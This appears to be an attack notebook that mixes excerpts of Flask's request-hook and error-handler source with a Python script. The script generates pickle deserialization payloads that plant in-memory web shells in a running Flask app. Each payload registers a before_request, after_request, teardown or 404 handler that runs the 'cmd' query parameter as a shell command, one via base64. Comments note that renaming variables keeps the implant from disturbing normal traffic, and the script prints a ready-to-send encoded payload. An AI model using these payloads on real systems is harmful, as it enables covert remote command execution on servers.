@setupmethod
 def before_request(self, f):
     self.before_request_funcs.setdefault(None, []).append(f)
     return f

@setupmethod
    def after_app_request(self, f: T_after_request) -> T_after_request:
        """Like :meth:`after_request`, but after every request, not only those handled
        by the blueprint. Equivalent to :meth:`.Flask.after_request`.
        """
        self.record_once(
            lambda s: s.app.after_request_funcs.setdefault(None, []).append(f)
        )
        return f

lambda resp:
	CmdResp if request.args.get('cmd') and
    exec('
         global CmdResp;
         CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())
         ')==None
                                                         else resp)
#这里的cmd和CmdResp可以换成其他，避免影响正常业务的话可以改成业务中不存在的变量

@setupmethod
   def errorhandler(
       self, code_or_exception: type[Exception] | int
   ) -> t.Callable[[T_error_handler], T_error_handler]:
       """Register a function to handle errors by code or exception class.

       A decorator that is used to register a function given an
       error code.  Example::

           @app.errorhandler(404)
           def page_not_found(error):
               return 'This page does not exist', 404

       You can also register handlers for arbitrary exceptions::

           @app.errorhandler(DatabaseError)
           def special_exception_handler(error):
               return 'Database connection failed', 500

       This is available on both app and blueprint objects. When used on an app, this
       can handle errors from every request. When used on a blueprint, this can handle
       errors from requests that the blueprint handles. To register with a blueprint
       and affect every request, use :meth:`.Blueprint.app_errorhandler`.

       .. versionadded:: 0.7
           Use :meth:`register_error_handler` instead of modifying
           :attr:`error_handler_spec` directly, for application wide error
           handlers.

       .. versionadded:: 0.7
          One can now additionally also register custom exception types
          that do not necessarily have to be a subclass of the
          :class:`~werkzeug.exceptions.HTTPException` class.

       :param code_or_exception: the code as integer for the handler, or
                                 an arbitrary exception
       """

       def decorator(f: T_error_handler) -> T_error_handler:
           self.register_error_handler(code_or_exception, f)
           return f

       return decorator

@setupmethod
    def register_error_handler(
        self,
        code_or_exception: type[Exception] | int,
        f: ft.ErrorHandlerCallable,
    ) -> None:
        """Alternative error attach function to the :meth:`errorhandler`
        decorator that is more straightforward to use for non decorator
        usage.

        .. versionadded:: 0.7
        """
        exc_class, code = self._get_exc_class_and_code(code_or_exception)
        self.error_handler_spec[None][code][exc_class] = f

@staticmethod
    def _get_exc_class_and_code(
        exc_class_or_code: type[Exception] | int,
    ) -> tuple[type[Exception], int | None]:
        """Get the exception class being handled. For HTTP status codes
        or ``HTTPException`` subclasses, return both the exception and
        status code.

        :param exc_class_or_code: Any exception class, or an HTTP status
            code as an integer.
        """
        exc_class: type[Exception]

        if isinstance(exc_class_or_code, int):
            try:
                exc_class = default_exceptions[exc_class_or_code]
            except KeyError:
                raise ValueError(
                    f"'{exc_class_or_code}' is not a recognized HTTP"
                    " error code. Use a subclass of HTTPException with"
                    " that code instead."
                ) from None
        else:
            exc_class = exc_class_or_code

        if isinstance(exc_class, Exception):
            raise TypeError(
                f"{exc_class!r} is an instance, not a class. Handlers"
                " can only be registered for Exception classes or HTTP"
                " error codes."
            )

        if not issubclass(exc_class, Exception):
            raise ValueError(
                f"'{exc_class.__name__}' is not a subclass of Exception."
                " Handlers can only be registered for Exception classes"
                " or HTTP error codes."
            )

        if issubclass(exc_class, HTTPException):
            return exc_class, exc_class.code
        else:
            return exc_class, None

import base64
import pickle
import os

def base64_encode(a):
    return base64.b64encode(a)

def old_version(): #少用，基本上没有能够用到的地方了 The setup method 'add_url_rule' can no longer be called on the application.
    class A():
        def __reduce__(self):
            return (eval, ("__import__('sys').modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda:__import('os').popen(request.args.get('cmd')).read())"))
    
def before_request():
    class A():
        def __reduce__(self):
            return (eval, ("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen(request.args.get('cmd')).read())",))
    return pickle.dumps(A())

def after_request():
    class A():
        def __reduce__(self):
            return (eval, ("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",))
    return pickle.dumps(A())

def teardown_request_normal():
    class A():
        def __reduce__(self):
            return (eval, ("__import__('sys').modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error:__import__('os').popen(request.args.get('cmd')).read())",))
    return pickle.dumps(A())

def teardown_request_b64(): #payload需要通过base64加密再放进去
    class A():
        def __reduce__(self):
            return (eval, ("__import__('sys').modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error:__import__('os').system(base64.b64decode(request.args.get('cmd')).decode()))",))
    return pickle.dumps(A())

def error_handler():
    class A():
        def __reduce__(self):
            return (exec, ("global exc_class;global code;exc_class,code=app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda error:__import__('os').popen(request.args.get('cmd')).read()",))
    return pickle.dumps(A())

print(base64_encode(error_handler()))